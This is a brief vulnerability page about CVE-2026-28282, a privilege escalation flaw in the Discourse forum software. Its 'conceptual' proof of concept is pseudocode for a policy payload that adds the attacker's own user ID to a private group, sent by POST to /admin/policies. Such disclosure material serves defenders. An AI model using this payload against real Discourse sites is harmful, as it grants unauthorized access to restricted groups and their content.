CVE-2026-28282 Discourse 权限提升漏洞

# PoC Concept for CVE-2026-28282 # This is a conceptual representation of exploiting the policy creation feature. # Attacker constructs a malicious policy payload malicious_policy = { "name": "Privilege Escalation Policy", # Targeting a restricted/private group ID "group": "target_private_group_id", "add-users-to-group": { # Adding the attacker's own user ID to the restricted group "user_ids": [attacker_user_id] } } # The vulnerability allows this policy to be processed # without verifying if the user has permission to modify the target group. # POST request to create/update policy # endpoint: /admin/policies # body: malicious_policy